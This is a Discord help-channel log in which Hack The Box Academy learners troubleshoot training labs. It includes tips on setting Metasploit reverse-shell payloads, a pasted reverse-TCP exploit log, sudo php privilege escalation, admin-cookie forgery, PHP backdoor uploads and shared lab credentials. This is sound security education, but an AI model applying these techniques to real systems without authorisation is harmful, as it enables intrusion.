modules

[obtuse surge]

It doesnt work. I thought it would but it doesn't. It still returns with http-proxy

one of the commands I use is: nmap -sV -Pn -p8080 <IP goes here>

[slate arch]

well when i tried i just did nmap -sC -sV {ip}

so try that

[obtuse surge]

Where did you put the port?

[slate arch]

i didnt specify port

[obtuse surge]

Thank you so much! I expected it to be way more complicated

[true drift]

Thanks! I got it now 🙂

[grand wedge]

When im doing System Information for Linux i cant seem to type the password in when logging into ssh

[lime trail]

hey guys anybody help me

for getting started module

please dm me

module is privlege esculation first question

i cant be root i tried all ways but i cant be root

[urban sage]

Linux doesn't display an indication of passwords length or anything while it is being entered. Just type it it and hit enter.

[mint ermine]

I'm blocked in the Windows Fundamentals module
My problem is that i dont know where to put the command Get-WmiObject -Class win32_OperatingSystem on the linux after the RDP can you help me pls?

[urban sage]

It should go into powershell.

[compact nymph]

hello everybody.

[rustic sage]

Hello all

[cerulean magnet]

PM me if you need help

[naive lotus]

Could someone dm me i need some help

[urban sage]

Just ask your question.

[naive lotus]

Okay when using the academy everytime i try to nmap it says the host is down but on the page like public exploits and the next one there is no file to download to connect with the vpn

[urban sage]

For the VPN double check that you don't have multiple tun interfaces. If no VPN file is provided the target instance is a public facing docker container.

[naive lotus]

Okay so even tho no vpn file is provided is it still okay to nmap it and stuff like that? Will do on double checking the tun interfaces i got frustrated with it last night and when to the machines on the regular hackthebox site and connect with the vpn and spun up the machine and it said the same thing.

[urban sage]

Next time you run into show the VPN log and I can take another look.

If that's in scope of the challenge sure. However, I would not that ISP's sometimes rate limit that. So you probably want to make sure to keep timing down.

[royal jay]

hi guys, iam studying Web Request module and i have problem to resolve the Post challenge, i have de user guest:guest and de target, i have to manipulate the cookies to get admin user, i try but i can't, someone can give me some clues please

[astral siren]

you only need to download the ovpn file once. it works for everything on the academy vpn

[rain coyote]

Can anyone help with this? "Access the SMB share folder called 'flag' and submit the contents of the flag.txt file."

[slate arch]

you need to access the smb service then look around for flag.txt

[rustic sage]

Identify one of the non-standard update services running on the host. Submit the full name of the service executable (not the DisplayName) as your answer. any hints on this

windows fundamentals hint

[lime trail]

Anybody dm me for help

[rustic sage]

I'm stuck in the section GET Method of Web Request. When i use Burp my browser does not load any page so i cannot progress in the exercise

Anyone had a similar issue ?

[grand wedge]

So for linux fundamentals it tells me to find a index number. how do i do that?

[oak estuary]

I'll give a small hint, you're looking for an executable (as stated in the question). That small hint helped me find it.

[topaz zenith]

Do the targets just not work sometimes?

[sand harness]

When burp is on, it will intercept all browser traffic so it looks like it isnt loading but it is just stuck in burp. All you have to do is press the forward button in the proxy tab

[rustic sage]

thanks. I've tried that too but what happen when I do does match what module says it should happen

[royal jay]

hi guys, iam studying Web Request module and i have problem to resolve the Post challenge, i have de user guest:guest and de target, i have to manipulate the cookies to get admin user, i try but i can't, someone can give me some clues please

[tall granite]

Can someone help me with the second challenge question in the getting started with offensive security module - privilege escalation. I had no problem going from user1 to user2, but I’ve been stuck on the user2 to root. I know I have access to read root .ssh keys, but I’m having trouble copying them to my attack machine so I can use the -i flag to ssh in as the root. Anyone have any hints on what I’m missing?

[slate arch]

if youre making the ssh files in vim, do it in nano because it didnt work for me until i used nano

[tall granite]

@slate arch I was initially trying to use SCP to copy the id_rsa to my attack machine. How do you copy it in VIM? I have 0 experience with VIM

[slate arch]

i dont know what scp is, but you can just cat the contents, copy them then paste them into nano on your own machine

[royal jay]

hello, thanks for your answer, I tried to do the following: to the guest user that I get when I log in: guest_412484878abc33!, I changed it to admin_412484878abc33! and I converted it to base64 to replace the guest cookie but it didn't work. Please help me, only need this exercise to comple the module.

[wise stratus]

i am doing web requests fundamentals and when i use the pwn box to try and use an http proxy it doesnt give the option to do port 8080 or whatever the burp suit is supposed to be

[royal jay]

hi, you have to configurate your browser, in the proxy options, you have to put the burp suite ip and port that is listening (by default 127.0.0.1:8080), another alternative is to install foxy proxy addon in your browser and configure it with the ip of brup suite

[sand harness]

I'm having trouble with the HTML Injection part of the web applications module. Isn't the answer supposed to be how you normally put links into HTML code?

[unborn yarrow]

Hi guys, can someone who finished introduce to brute forcing module help me? I'm stuck in.

[dull orchid]

Hi 2 all. I finished Linux fondamentals module and i realized that it's impossibile to catch all the 10 coins available ...is it normal ? There's a question quite hard to answer...

[round spade]

Thank you so much, I could not get the key to work when I was pasting the contents to vim

[naive lotus]

Okay when i connect to the academy with a vpn the last line says "2021-05-09 15:31:04 Initialization Sequence Completed" but anytime i try to nmap something it says the host seems down any idea what im doing wrong?

[naive grotto]

Okay so im just starting and im in linux fundamentals how do i go about finding htb student mail. I've tried
Find / -name 'mail' 2> /dev/null
But both /var/mail and /var/spool/mail are incorrect answers but going to the dorectory / doesn't yield a visable path to anything labeled mail.

Meant directory not dorectory

[royal jay]

hi guys, iam studying Web Request module and i have problem to resolve the Post challenge, i have de user guest:guest and de target, i have to manipulate the cookies to get admin user, i try but i can't, someone can give me some clues please

[iron holly]

Using vim I could not get access to root as soon as I used nano i got right in thanks for the tip!! Finally got that second flag at /root/flag.txt on Privilege Escalation section thanks i kept trying Vim and almost gave up on it!! Thnks for the tip @ Arooshwastaken

[iron holly]

VIM was driving me crazy as well!! I was about to give up, I need to get my vim skills up i'm sure it would work just wasn't doing something right

[dull orchid]

Find a way to start a simple HTTP server using "npm" - This question drive me crazy ! Honestly i didn't use npm before and i don't understand how to start an HTTP server on it...

the same with this : Find a way to start a simple HTTP server using "php" - OMG What a hell is an HTTP server first of all...no one told me about it in that module...

[dull orchid]

Oh yeah thank's a lot bro, i just remember to myself about the existence of "man"

so the first thing is the man to understand the world !!! OHyeah

doesn't matter about coins..we can buy them as they cost few money...it's just a question of "honour" ...it would be better to have all tasks done than 1 missing..

What do you mean for " all your fault" ? It just depends by the use of "man" command

i just realized that my biggest fault is that : don't considerate and dont' use "man" command

What do you mean for : "the correct method" ? I think the correct method is to use all the information we've got and to use them in order to find out the solution of the problem we face into

so, although i didn't used the man command i was not able to find the answer to those questions...

i think most of our problems come out because we didn't think "out of the box" . Once we get familiar with that , we get better and better day per day...

I was stuck in those questions cause my brain says to me : " What a hell means that if the module spoke about other topics ?" eTc etC...

TY

the most common problem we've to face before to start studying everything is : TO LEARN TO LEARN

i write it better : LEARNING TO LEARN

on other example : There's not any module about ssh connection. So if You know it you'll be able to do it otherwise You could get stuck in the first exercise.

Inside Linux Essentials ?

ahhhh so that's an other fault for me : i didn't use the getting start module but just Linux essentials as first and now i'm on Learning process...

Yeahhh this is mandatory for me . As i get stuck i quit and i come back next day with brain fresher than before. It Works Great !

I start with HTB academy and i'm really satisfied about it. Now i want to use it , after i'll follow your suggestion.

IMHO cybersecurity is way of living

[dull orchid]

ok i'll write it down so to remind me - Tryhackme

[rain coyote]

Use the credencials admin:Welcome1

[deep tartan]

its been 1 month amigo xd thank you anyway!

[ionic coyote]

I'm stuck too

[rustic sage]

Is there anybody who can help me?

I cant solve a problem in Cracking into hack the box path

[ionic coyote]

maybe I can help, explain your problem

[rustic sage]

Cant I send pictures from here?

[ionic coyote]

I think you can

[rustic sage]

It doesnt work. I dont have permission

Can i send you the picture privately then?

[ionic coyote]

you have to verify, send a dm to the hackthebox bot ++verify

[ionic coyote]

sure

[wise stratus]

i added the proxy to foxy proxy but now the websites wont load do i have to do smth in burp suit to besides turning on intercept

do i need to configure my target details

[marsh hollow]

Use a Union injection to get the result of 'user()' what does it mean ? plz dm

[hard orbit]

Hello!!
Could you Advise me with some machines to practice kerberoasting
Asreproast and kerberos brute- force?

Golden ticket vuln

[burnt stone]

@hard orbit - Not the correct channel for this question, please verify ++tryverify and ask in #red-team.

[hard orbit]

Thank you very much @burnt stone

[naive grotto]

Thank you i actually was logged into htb student. That was not the problem but i did end up finding the answer.

[mint ermine]

i just need help for the windows fundamentals module

is this the windows NT version? pls

[topaz zenith]

Yes.

[mint ermine]

but when i submit it it says that its incorrect

how

like why the nt version is not good when i submit it in the academy

[novel matrix]

@mint ermine Just a heads up, please don't spoil answers.

[mint ermine]

ok

sorry

[mint ermine]

ok but i found the answer

[cerulean magnet]

anyone else having issues with Nibbles on getting started? I get a time out error when trying to get a reverse shell as root. (using sudo to run the exploitable script)

[wise stratus]

so i idd the advice that this person gave me and i manualy configured it to use 127.0.0.1:8080 and the intercept worked but the page didnt load it just gave me this
GET / HTTP/1.1
Host: 138.68.183.83:30836
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
If-None-Match: "2d-432a5e4a73a80"
Cache-Control: max-age=0

[old field]

im trying to get someone to do a video with im gc2 and need someone that can code

[oblique wolf]

how to use burp in instance because my web extension is disable in firefox ?

[urban sage]

More recent versions of burp have a built-in browser. Alternatively, you can set up the proxy manually.

[oblique wolf]

yes but "refusing to start browser as your current configuration does not support running without sandbox" when i want start the browser in Burp

[urban sage]

Mmmm.... That's unfortunate.

:-/ Guess it's manual configuration then.

[fiery kernel]

When I start up FoxyProxy I don't have the option to use the burp proxy even while intercept is on. Using the pwnbox for HTB

[whole wing]

Tried using ZAP?

[fiery kernel]

Not yet - I'll give it a shot thanks

[dark solar]

hey guys i need some help

i just started the academy and im on LINUX FUNDAMENTALS on the section User Management

i looked at the commands to use, and im on question "Which option needs to be set to create a home directory for a new user using "useradd" command?". I just need to know where to even start with this

can somebody help me out

[whole wing]

@dark solar By default ‘useradd‘ command creates a user’s home directory under /home directory with username. Thus, for example, we’ve seen above the default home directory for the user ‘tecmint‘ is ‘/home/tecmint‘. However, this action can be changed by using ‘-d‘ option along with the location of new home directory (i.e. /data/projects). For example, the following command will create a user ‘anusha‘ with a home directory ‘/data/projects‘. https://www.tecmint.com/add-users-in-linux/

[root@tecmint ~]# useradd -d /data/projects anusha

[runic flax]

I want to start this by saying that I'm absolutely a brand-new and inexperienced learner to all of this, so forgive my ignorance. I'm working on the Windows Fundamentals module, and I'm stuck on the first question, which states "What is the Build Number of the target workstation?". I'm not sure at all how to proceed to find that. I see there's some command in the text on the page that I'm supposed ton use, but where and how do I use it?

[whole wing]

@runic flax Open a Windows terminal. Type commands 'systeminfo' and 'ver'.

[runic flax]

I would need to connect to the generated target before doing that, correct?

[royal jay]

foxy proxy is just a plugging that facilitates the configuration of the proxy in the browser, even if you do not have foxy proxy you can configure the browser in the option to configure proxy and put the ip by which burp suite is intercepting (by default 127.0.0.1). If you have foxy proxy you should create this configuration in the foxy proxy options and save it, this will allow you to enable and disable the configuration easily with a click.

hi guys, iam studying Web Request module and i have problem to resolve the Post challenge, i have de user guest:guest and de target, i have to manipulate the cookies to get admin user, i try but i can't, someone can give me some clues please

[cyan plank]

what is the answer of which NT version is installed on workstation

??

[novel matrix]

Go over what you just learnt

[fiery kernel]

Yup - that did it earlier. Didn't quite understand reading the initial steps.

[whole wing]

@runic flax I don't know exactly what ur working on -- but yes. You need to connect directly (or indirectly) to the target and run commands.

[thick shale]

hi there

In GET Method
How can i answer this Question (Send a GET request to flag.php with two parameters num1 and num2 such that their sum is 1337.)

[rustic sage]

Do what it says. Send a get request with 2 params to flag.php

[thick shale]

yes

i need help
i don't understand it

[rustic sage]

what do u dont understand sir?

[rustic sage]

hello friends, I feel really stupid right now, 3hours I read throug the "Learning Process" Part.
The question is what is the difference between theese two numbers : (1.00)365 = 1.00
(1.01)365 = 37.7
I tryed all my Ideas without luck.
pls can someone help me as this is nothing that has to do with programing.

I tryed : 0.01 / 27.1 / progress / I fell like this question is just does niot work in my head

error

37.7 - 1.00 hint

36.7 🙂 got it brosinzkis 😄

u are the best team

[main vapor]

hi

[rustic sage]

hi

[novel matrix]

@rustic sage @main vapor to access the rest of the channel, here are the instructions.

++tryverify

[red obsidian]

To talk in other channels you need to verify yourself first:

1. Send ++verify in the #bot-commands channel
2. Follow the instruction you will receive in PM (i.e send ++identify <Account Identifier> directly to the bot
   (The instructions are available in the #welcome channel)

[tight glen]

What is the root folder of a wordpress site?

[frosty sky]

@tight glen Depends, from most of the boxes on here that i've messed with its usually C:\inetpub\wwwroot\wordpress

Something alone those lines

[surreal zenith]

@tight glen basicly it refers to the location where the wordpress-application is located on the server.
Like @frosty sky mentioned, this could be 'C:\inetpub\wwwroot\wordpress' or '/var/www/wordpress/' on linux systems
The safest way to confirm what it is, is by checking the webservices configuration files!

Guys, as a side question! Any suggestions on where i could start (e.g. a specific exercise)?

[frosty sky]

@surreal zenith Have you done any boxes yet?

[surreal zenith]

Well no, im still trying to figure out how to start with htb 😄
And im still doubting between using a raspberry or a vm.

[frosty sky]

@surreal zenith Depends on your hardware. If you have a decent PC or laptop the VM is probably your best option as it will help you with hashing etc.

HTB i started with the starting point machines, connect to the VPN and start running through the walkthroughs until you get to grips with it. I'd avoid the vaccine box as its designed in a way that other users can essentially block you from completing it in good time. Archetype is a great little box for starting on

[surreal zenith]

@frosty sky That vaccine box thing sounds like a frigging delight! 😄
And thanks for mentioning then need for hashing-functions! a vm seems the best way to go! 🙂

[tight glen]

thanks for the answers

[surreal zenith]

@fathom lark you solved it ? 🙂

[tight glen]

i could have found the flag in 15minutes. i just configured something wrong in metasploit. damn.

[surreal zenith]

@tight glen you solved it?

[tight glen]

it took me forever

[surreal zenith]

aaah super!

[tight glen]

thanks 😉

[surreal zenith]

well in case of blocks or issues

its always a good choice to go to what you know!

if its a webservice (like wordpress) looking into the configuration of the webservice it self, is always a nice indication

same with network connections and/or routes! checking the network config can clear out a lot of unknowns

[tight glen]

thats true, thanks for your advice

[surreal zenith]

yw, it's how i've worked for years! so that skillset is in the bag! 😄

[autumn path]

im stucked at the part public exploit. So i figured it out wich metasploit modul i need and filled out all field which are needed i think, and the auxilary modul does run succesfully. has some any hints why i cant see flag?

[frosty sky]

@autumn path if its a meterpreter session you mean, this gives you low level access to the machine. You have to find ways to upgrade it.

Meterpreter gives you access to the house, but without the correct keys you cant access all the doors inside 😉

[frosty kite]

damn

[blissful heron]

hey i need help if anyone is interested. im goin thru htb academy. im on linux fundamentals, (table of contents) is "the shell", system information. its got me trying to login in as htb student and put in the htb password. i do the ssh [[e-mail]] then it ask me if i want to continue to password, i type yes, it asks for password, i have the password, but for some reason the terminal will not let me type anything after that point? im confused and quite aggravated. i have the info but cant enter it by no means. am i doing something wrong?

[wintry meadow]

Im stuck on The Shell/ system information. Im unable to find the correct syntax to use ssh to login to the [username]@[ip address] and cant find any real examples from googling so far

[blissful heron]

rampage23, the only imput u should have to imput is "ssh [htb-student]@xx.xxx.xxx.xxx" . minus the quotation marks. then itll ask if you want to contimue to password. thats where im stuck at. once it asks for the given password i cant type at all on the terminal.

[blissful heron]

rampage23, the only imput u should have to imput is "ssh [htb-student]@xx.xxx.xxx.xxx" . minus the quotation marks. then itll ask if you want to contimue to password. thats where im stuck at. once it asks for the given password i cant type at all on the terminal.

[tawny plume]

It doesn't show if you've typed anything. It's standard with linux just type in/paste the password and hit enter

[blissful heron]

ive tried typing the password without it showing it and also tried copy and pasting it. keeps telling me access denied.

[tawny plume]

The password is:

HTB_@cademy_stdnt!

did you enter it correctly?

[blissful heron]

many times yes. im finally in. the only thing i changed was, i was using the username with brackets. it would lead me to the password login. couldnt get anything to work. so i removed the brackets from the username, then tried tpying the password blindly and now im in. what a relief. whew..

[jade whale]

help

i am doing the final section in getting tarted module and i m stuck

i found an metasploit exploit for unathuicated access and arbitrary file exe but when i run the exploit it says the exploit wa completed but no sesion was created

the system is runnig a getsimple website

pls give me some hint to put me back on the right track i'd really appreciate it

[autumn path]

You dont get an shell in that exercie, you just need read file from the system. And my problem ist the auxiliary module runs succesfully but still ont see the result i need

[frosty sky]

Ahhh my bad, It was late... I read it wrong.

[wintry meadow]

What are (long version of the option)? Which option needs to be set to lock a user account using the "usermod" command?

The command is -L correct? but what is the long form its asking for

no examples on the page i see for that

[midnight forge]

Have you tried looking at the man pages for that command?

[wintry meadow]

no do they have long versions? or is it asking me to type out the string of commands to execute it?

[midnight forge]

The answer is in the man page 😉

[wintry meadow]

wait where is the man pages? you mean the ones given inside the modules? ive copied my own files of all of those unless the man page is completely seperate

i just started like yesterday lol

[midnight forge]

Have you done the Linux Foundations module?

[visual harbor]

Hello there.

I've finished two modules so far and I need a different module to start that is fundamental and is the easiest to learn as I'm a beginner.

I've done the Introduction to HTB & Learning Process.

[wintry meadow]

im on the linux fundamentals module now

[midnight forge]

I suggest Linux Fundamentals and Windows Fundamentals

[visual harbor]

Alright, thanks!

[wintry meadow]

done learning process and intro to academy.. now on linux fundamentals

[wintry meadow]

oh i found the man pages ill check em

[midnight forge]

👍

[wintry meadow]

ok thank you that was easy again overthinking it.. the only long command i knew was --help and thought that would be too obvious of a solution lol

[midnight forge]

Overthinking is usually my problem too 🙃

[wintry meadow]

└──╼ $mkdir /opt/nishang/ && git clone https://github.com/samratashok/nishang.git /opt/nishang
mkdir: cannot create directory ‘/opt/nishang/’: Permission denied
┌─[✗]─[user175587@htb-hmxbixkv3e]─[~]
└──╼ $

any advice for this lol

[drifting knoll]

what permissions would you need?

[wintry meadow]

i have no idea it wont let me create a directory?

[wintry meadow]

an it was the next step... mentioned nothing about permissions.

[drifting knoll]

well you should have basic knowledge for Linux if you wanna use it. I recommend you to jump into Linux Fundamentals module (for free) and make you familiar with that OS.

[wintry meadow]

this is literally in the module

an im using their spawned linux

[drifting knoll]

"Working with Files and Directories"?

[wintry meadow]

yeah linux fundamentals-system managment on package managment

they first lesson on page 7 is package downloading which seems easy enough but their linux instance says i dont have permission to create new directories

should i try and reset the instance

i see the working with files and directories section but it is further down in the fundamentals module

[drifting knoll]

no, just give me a moment

[drifting knoll]

put a sudo at the beginning of the command

$ sudo mkdir /opt/nishang ...

[wintry meadow]

ahh ok will try it

[drifting knoll]

i gonna fix that in the module

fixed

[wintry meadow]

so it started cloning but again gave me a permission denied

$ sudo mkdir /opt/nishang/ && git clone https://github.com/samratashok/nishang.git /opt/nishang
Cloning into '/opt/nishang'...
/opt/nishang/.git: Permission denied

ima move down one and see if the other methods have issues

[drifting knoll]

refresh your section page and check the command again

[wintry meadow]

ok

[wintry meadow]

alright thank you good to go

[wintry meadow]

same issue with the debian package installation commands.... but just went ahead and added the sudo and was good

$ dpkg -i strace_4.21-1ubuntu1_amd64.deb

[drifting knoll]

thx, fixed

[swift warren]

I'm trying to scan my target using nmap and it is saying that all the results are filtered. I know that this is due to a firewall but I have the VPN working and everything. I stopped the VPN and redownloaded the vpn key again as well. Any solutions?

[maiden kiln]

I think the target that you are scanning has firewall enable, you can try to use some evasion techniques mentioned in nmap manual page

[untold schooner]

i am in the web requests section of the Academy trying to get passed this POST method page. I've done every combination of curls and burpsuite repeater get/post request I can think of. Following the instructions I never found a PHPSESSID to apply to my request. I'm guessing that must be a rabbit hole at this point.I have also tried a ton of curls which has not yielded any useful information to me. This is my fourth attempt on this page and I'm completely out of ideas. Can I get a nudge pleasE?

[swift warren]

@maiden kiln Nah, I dont think so. I'm doing the public exploits section of Getting Started, and I had done the nmap portion before and was able to get some decent results telling me what services were running on what ports but now I am getting only a message saying that all __ ports are filtered. I've tried a ton of different combinations of nmap arguments with no luck

[flint moth]

@untold schooner it's quite simple just analyse the cookies

Hint: admin has unique authentication

[untold schooner]

@flint moth ok I’ll take another look. Thank you so much.

[jade whale]

help i am doing the knowlegde check of getting started module and i am stuck, I am performing web directory brute forcing like it was shown in the module but can't find the password. The box is running the getsimple web app i found two exploits but only one seems to work and it requires admin creds

I am stuck and i would appreciate some hints

[flint moth]

@jade whale have tried the other one ?

[jade whale]

wat

[flint moth]

Other exploit

[jade whale]

yes

it said not vulnerable

[flint moth]

The 2nd one should work , try checking the details you entered

[jade whale]

the other exploit uses an exposed api key and cookies to get a shell

all i need to enter is the target host and the targeturi

i did it but it didn't work

i am still new to this so maybe i am doing something wrong

[flint moth]

Did you entered the correct payload , LHOST etc

[jade whale]

i now nothing about payloads

all i know is the default meterpreter

[flint moth]

Well check the previous sub module in which it explained to use metasploit

There the person mentioned setup a reverse shell payload

[jade whale]

oh yh

so do i have to create the payloadd?

andd sendd it into metasploit?

[flint moth]

Nope just do as it is mentioned set payload <name of that reverse shell mentioned> in metasploit

After selecting the 2nd exploit

[jade whale]

i don't recall i saying anyting regaurding a metasploit payload

i can recheck though

[flint moth]

There should be , set payload generic/shell_reverse_tcp

[jade whale]

oh u r right

i just checked

dang i am stupid

lemme try it

[flint moth]

Just make sure to set correct lhost

[jade whale]

ok

didn't work

welp

back to square 1 i guess

[flint moth]

What you get after executing it?

[jade whale]

never mind

i am jut an idiot

i ste the target host wrong

lol

[flint moth]

LoL it's okk

[jade whale]

it's very slow but it worked

thx so much

i really appriecat it

crap i cn't spell lol

[flint moth]

👍

Glad I could help

[fading raptor]

hi all - is there a bug for the getting started knowledge check foothold? The specified button on the exploit is greyed out and the metasploit module doesnt work - I have actually found another way in, but i would like to do it the intended way also

[stone rose]

ANY body help me <@&506943166365302789>

[high zinc]

Oh good. You pinged all Administrators regardless whether they are HTB employees or Discord admins.

Why?

You haven't said anything in over 6 weeks

In fact this is your 2nd message

Little too soon to be pinging all admins without anymore context isn't it

[tight glen]

[tight glen]

Hi, im currently doing Getting Started/ privilege escalation and i believe the provided password is not correct or has been changed

[high zinc]

works for me @tight glen

check your spelling, capslock and the IP

step 2 is trying to reset the target

[tight glen]

thats what i did, will try again, thanks

did that aswell

well, let me try it again.

works now 🤡

this time it asked me to trust the fingerprint tho

thank u anyway

[high zinc]

ah 😄

np

[cyan temple]

Hi I am having an issue with the Module for Web Requests. When following the examples in the page for the burp suite to connect to the http://inlanefreight.com I do not get to see what apache server is running on the machine as the example image. On the questions asking what http protocol is used to intercept I get the same error

[cyan temple]

The same happens when connecting to the target IP address. I only get a success but no Server information to see what the IIS service is running as as well as the HTTP protocol being used for the intercepts

[high zinc]

@cyan temple mind DM'ing me screenshots of what you're seeing?

also are you using the Target system?

You may need to

[mint lava]

@tight glen your user name is wrong, look at the credentials you are provided

[high zinc]

@cyan temple I just tried the exercises and using the target that you have to spawn (just above the exercises) I can see which HTTP method used and what version the server is 🙂

[rancid tide]

hy, i have some problem to understand in web request modules how send the cookie as admin for enter into the page as admin,someone can help me?

i have already tried to change it in encode base64 "admin" but it doesn't work

someone can explain me it??

[rustic sage]

@rancid tide DM I might be able to help

[stone crane]

Hello together, I have the same problem... somehow I cannot even reach the target system :/

[clear verge]

this is just a theoretical question (reading through setting up) but i am asking anyway because i am curious

im reading through the part about containers and i understand the difference between them and a vm and i have interacted with containers in ctfs before but i realize now ive never interacted with a vm inside a vm and only a container inside a vm in a ctf environment. is this something thats like doable through command line like docker or if there was a hypothetical nested vm ctf box would you need to rdp or something in order to interact with it properly?

or does this not really come up even in more unrealistic ctf environments

[dark lake]

Hello guys, when i try running hashcat i get the error message "clBuildProgram(): CL_BUILD_PROGRAM_FAILURE

error: unknown target CPU 'generic'"

has anyone a tip for me to solve this?:)

im using a AMD A8-3870 cpu:)

[rancid tide]

oh no,i have already found the problem,i had do a wrong encode base64 of the cookie

have *done

[rustic sage]

Are you on a Mac? https://hashcat.net/forum/thread-7554-post-40657.html#pid40657
This suggests that OpenCL was deprecated causing that same error

[rustic sage]

I'm having a problem in Linux Fundamentals "System Information"

I can't find the path to htb-student's mail

I'm in /var/mail but it's empty

so is /var/spool/mail

[late cedar]

iam also stuck at this module

[late cedar]

do you know if its necessary to login via ssh in this module?

oh nvm, it is

[rustic sage]

Sup everyone, I'm not proudly stuck into the module networking intro in sub section subnetting the questions 3 and 4 required an exact answer, I'm sure the answer it's ok, but it doesn't accepted, anyone can give me a light on this?

[rustic sage]

this are the questions:

Split the network 10.200.20.0/27 into 4 subnets and submit the network address of the 3rd subnet as the answer.

Split the network 10.200.20.0/27 into 4 subnets and submit the broadcast address of the 2nd subnet as the answer.

[rustic sage]

Hey you can run php binary with sudo in the current user, that lead to privesc

[tight glen]

thanks for the explanation, not sure what to do but ill figure it out

[rustic sage]

try to read about command injection bro

[tight glen]

i did!

i havent found anything related to php yet

[drifting knoll]

@tight glen please be careful with spoiler because your screenshot contained username, target host and the output that is relevant for the exploitation of that machine

[clear verge]

hi i am attempting to count the amount of files on the system that have the .bak extension (idk how much i can say without spoiling but i am doing something with find and i am redirecting output and error) but i am still not getting the correct answer, i would appreciate assistance if someone is free

nvm i missed something obvious because i way overthought it

[rustic sage]

Hey, I just can't remember that question but just check the examples

[clear verge]

oh i did it

i was under the impression there were some that only root could see

because i overhtought it

and i was trying way too hard

but i took a break for 2 mins and then it was fine

[slate arch]

if you still havent found anything, gtfo bins is a cool tool

[tight glen]

i was on there, thanks tho i will look further into it

the thing is i need a one liner im pretty sure

[inland hull]

I have a question regarding the Getting Started Module, more precisely to the last question in the "Service Scanning" section: Access the SMB share folder called 'flag' and submit the contents of the flag.txt file
Should there be a share with the name flag?

I managed to get these shares, using some credentials, but I can't access a single one of them.

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    users           Disk      
    IPC$            IPC       IPC Service (gs-svcscan server (Samba, Ubuntu))

[dark lake]

no i dont got a mac

[rustic sage]

DM me and send me the command you are trying to run

[wintry meadow]

systemctl enable ssh returns uninitialized value

Synchronizing state of ssh.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable ssh
Use of uninitialized value $service in hash element at /usr/sbin/update-rc.d line 26, <DATA> line 45.
Use of uninitialized value $service in hash element at /usr/sbin/update-rc.d line 26, <DATA> line 45.

[dark solar]

i need help with this:

sorry the second question^

[tight glen]

Hi, currently doing ||getting started/Knowledge check||.

could somebody explain to me why i cant execute linPEAS/linEnum scripts? i can execute anything using php but im not sure how to pull this off https://gtfobins.github.io/gtfobins/php/ is prob the right source, a hint would be great. -Update: dont need more help

[late cedar]

look under "usermod -h" pretty sure you´ll find this

[dark solar]

ok

[late cedar]

did you find it?

[uncut temple]

"There are none so blind as those who will not see" 😄

[plucky spade]

It only just took me like1 jr i think

Its not cool lol

please dont copy this...lol

[tight glen]

[plucky spade]

All these emojies i have are free right

Cool

Chirp. Cjirp

[tight glen]

#general

[orchid rover]

Can anyone help me with SQL injection writing files chapter? Especially what kind of backdoor php shell should i try to upload

[dull orchid]

Maybe you've to take a look around payloads available on the database of metasploit framework

[cerulean magnet]

I've completed the Knowledge Check section of the Getting Started module, however I did it without using Metasploit.

I simply could not get it to work with Metasploit.. I kept getting an error:

[*] Started reverse TCP handler on 10.10.15.18:4444 [*] 10.129.7.198:80 - Authenticating... [+] 10.129.7.198:80 - The authentication process is done successfully! [*] 10.129.7.198:80 - Extracting Cookies Information... [*] 10.129.7.198:80 - Uploading payload... [-] 10.129.7.198:80 - Exploit aborted due to failure: unknown: 10.129.7.198:80 - Upload failed [*] Exploit completed, but no session was created.

Could someone who has completed that section using Metasploit please send me a message? I'd like to understand why it wasn't working

[dull orchid]

Hi 2 all. Anyone involved into "learning process" module ?

[cerulean magnet]

Actually I've just managed to get it working using exploit 1 instead of 0... Did anyone manage to do this part using exploit 0? CMS PHP File Upload Vulnerability

[dull orchid]

i think you need to adjust the payload in the SET OPTIONS - i mean you need to find the correct payload for it

[cerulean magnet]

Well I set the payload to a generic_reverse_tcp.. I suppose the vuln will only let us upload a file, not actually execute the code.. but even so, it's still strange it fails to upload

If anyone has any insight that would be really helpful! Still don't feel like I fully understand what's happening

[deft cloak]

Yeah

I completed it yesterday

[cerulean magnet]

what is the recommended approach once you have completed all the fundamental modules? I saw advice in one of the sections mentioning going through some walkthroughs in Starting Point before attempting boxes

[deft cloak]

Please do mention me too in the reply to this question.

[drifting knoll]

@pulsar elm please be careful with spoilers

[pulsar elm]

But... is not correct... I dont know if it is right way to do it or wrong xD

That is what I am trying to know

[cerulean magnet]

did anyone have trouble connecting via RDP for the Windows Fundamentals module?

[16:46:52:999] [4463:4464] [ERROR][com.freerdp.core.transport] - BIO_should_retry returned a system error 32: Broken pipe
[16:46:52:999] [4463:4464] [ERROR][com.freerdp.core] - transport_write:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[16:46:52:999] [4463:4464] [ERROR][com.freerdp.core] - freerdp_post_connect failed

[late cedar]

when iam executing this, it didnt print anything. If I remove "2>/dev/null" it prints to every file "permission denied"

can anyone help?

[scarlet finch]

add sudo

before find /

[late cedar]

its still not printing out anything

[scarlet finch]

I think there is something wrong on the command

Can u tell me which module

U do

[late cedar]

yeaj sure

the Linux Fundamentals

[scarlet finch]

Oh ok

[late cedar]

"find files and directories"

is the content

[scarlet finch]

Ok wait...

BRUH I can't access because I don't have enough cubes 😂

Sorry man

[late cedar]

HAHAHAHAHA

dayum

I can send you screens if you want to

[scarlet finch]

Ok

[late cedar]

here in the chat or private?

[scarlet finch]

DM

[scarlet finch]

Ok I think it just didn't find any file with the information that u put

[late cedar]

lol

but

wait

thats impossible

i dont get why

[scarlet finch]

Because in -name u have to put the name of the file

[late cedar]

i did, every file with the ending .conf

[scarlet finch]

u have to put after the -user ur name of HTB academy

and put a thing after -exec

[late cedar]

what do you mean "a thing"

[scarlet finch]

but when I try this command on my kali it said ```zsh
find: missing argument to `-exec'

exec is for execute a scipt

[late cedar]

yeah it executes the "ls -al {}"

or not

[scarlet finch]

no it does'nt execute the ls-al {} thing

[late cedar]

hm

[scarlet finch]

try to use grep

before

ls-al{}

sudo find / -type f -name *.conf -user nixfund -size +25k -newermt 2020-03-03 -exec ls -al {} \; 2>/dev/null

try this

and put ur htb student name

[scarlet finch]

I tried the command and it works for me

I don't have any output because I don't have .conf file

[swift lava]

